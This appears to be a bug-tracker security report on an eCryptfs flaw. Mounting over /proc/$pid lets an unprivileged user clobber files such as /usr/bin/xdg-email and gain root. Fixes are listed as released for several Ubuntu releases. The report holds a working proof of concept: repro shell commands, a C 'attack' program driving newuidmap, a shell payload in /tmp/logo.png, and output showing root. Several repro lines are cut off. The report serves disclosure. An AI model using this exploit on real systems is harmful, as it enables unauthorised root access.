privilege escalation by mounting over /proc/$pid
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
eCryptfs |
Fix Committed
|
High
|
Tyler Hicks | ||
ecryptfs-utils (Ubuntu) |
Fix Released
|
High
|
Dustin Kirkland | ||
Precise |
Fix Released
|
High
|
Tyler Hicks | ||
Trusty |
Fix Released
|
High
|
Tyler Hicks | ||
Vivid |
Fix Released
|
High
|
Tyler Hicks | ||
Wily |
Fix Released
|
High
|
Tyler Hicks | ||
Xenial |
Fix Released
|
High
|
Dustin Kirkland |
Bug Description
An unprivileged user can mount an ecryptfs over /proc/$pid because according to stat(), it is a normal directory and owned by the user. However, the user is not actually permitted to create arbitrary directory entries in /proc/$pid, and ecryptfs' behavior might be enabling privilege escalation attacks with the help of other programs that use procfs.
Repro:
On Ubuntu 15.10 Desktop, as root, install ecryptfs-utils and uidmap. Then, as user, do this:
=======
user2@user-
Enter your login passphrase [user2]:
Enter your mount passphrase [leave blank to generate one]:
Enter your mount passphrase (again):
*******
YOU SHOULD RECORD YOUR MOUNT PASSPHRASE AND STORE IT IN A SAFE LOCATION.
ecryptfs-
THIS WILL BE REQUIRED IF YOU NEED TO RECOVER YOUR DATA AT A LATER TIME.
*******
Done configuring.
Testing mount/write/
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
Inserted auth tok with sig [6105ef336170239a] into the user session keyring
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
Inserted auth tok with sig [6105ef336170239a] into the user session keyring
Testing succeeded.
Logout, and log back in to begin using your encrypted directory.
user2@user-
user2@user-
user2@user-
user2@user-
user2@user-
Enter your login passphrase:
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
user2@user-
user2@user-
user2@user-
0 1001 1
ualBox
=======
As you can see, the start of /etc/hostname was clobbered with attacker-controlled content.
Now the interesting part comes: We can only write lines with numbers, and only starting at the start of files, so how does this yield code exec? :D
Bash has an interesting behavior when invoking executable files: If the kernel doesn't recognize a file, bash will try to run it as a shellscript. And then, if that shellscript contains a spew of invalid commands, bash will just keep going (and spit out error messages) until it hits a valid command. When it sees a single line with a valid command, it'll run it, no matter what comes after that. And therefore, this works (after the same preparation as above):
$ grep -bo '/tmp/.*' /usr/bin/xdg-email
4721:/tmp/logo.png \
We need 4721 bytes padding.
"0 1001 1\n" is 9 bytes long, we use it until the remaining padding is a multiple of 10. Every use increments the last digit by one, so we use it 9 times. The remaining padding is 4721-9*9=4640 bytes, which we can fill using 464 times "10 1001 1\n", which is 10 bytes long.
$ rm /proc/$$/uid_map # if it still exists from the last part
$ ln -s /usr/bin/xdg-email /proc/2468/uid_map
$ cat attack.c
#include <err.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv_in) {
if (argc != 3)
errx(1, "bad invocation, want ./attack <pid> <myuid>");
char *pid = argv_in[1];
char *myuid = argv_in[2];
if (strlen(myuid) != 4)
errx(1, "bad uid");
int pad10_count = 464;
int pad9_count = 9;
int total_count = pad10_count + pad9_count;
char *argv[1 + 1 + 3 * total_count + 1];
argv[0] = "newuidmap";
argv[1] = pid;
int j = 2;
for (int i=0; i<pad10_count; i++) {
argv[j++] = "10";
argv[j++] = "1001";
argv[j++] = "1";
}
for (int i=0; i<pad9_count; i++) {
argv[j++] = "1";
argv[j++] = "1001";
argv[j++] = "1";
}
argv[j++] = NULL;
execvp(
err(1, "execvp");
}
$ gcc -o attack attack.c -Wall -std=gnu99
$ ./attack $$ 1001
$ echo -e '#!/bin/sh\necho "owned!"\nid\nkill -9 $PPID' > /tmp/logo.png
$ chmod +x /tmp/logo.png
And now as another user (or root):
lBox:/etc# xdg-email
/usr/bin/xdg-email: line 1: 10: command not found
/usr/bin/xdg-email: line 2: 10: command not found
[...]
/usr/bin/xdg-email: line 472: 1: command not found
/usr/bin/xdg-email: line 473: 1: command not found
owned!
uid=0(root) gid=0(root) groups=0(root)
Killed
Of course, this kind of modification doesn't work for most executables, but it does work for some.
Another way to exploit this without newuidmap might be to confuse polkit about the identity of a connecting process - _polkit_
I'm not sure about what a proper fix for this would look like - maybe just blacklist the dev_t of procfs when checking the result of stat()ing the mountpoint and also require access(".", R_OK|W_OK|X_OK) to be successful? Or you could do what FUSE does and prevent anyone except for the user from accessing the mountpoint.
Related branches
CVE References
information type: | Private Security → Private |
information type: | Private → Private Security |
description: | updated |
information type: | Private Security → Public Security |
Changed in ecryptfs-utils (Ubuntu Precise): | |
importance: | Undecided → High |
Changed in ecryptfs-utils (Ubuntu Trusty): | |
importance: | Undecided → High |
Changed in ecryptfs-utils (Ubuntu Vivid): | |
importance: | Undecided → High |
Changed in ecryptfs-utils (Ubuntu Wily): | |
importance: | Undecided → High |
Changed in ecryptfs-utils (Ubuntu Xenial): | |
importance: | Undecided → High |
Thanks for the report, Jann.
My initial thoughts are that we should blacklist mounting on top of procfs, as you suggested. I'll give it some more thought tomorrow.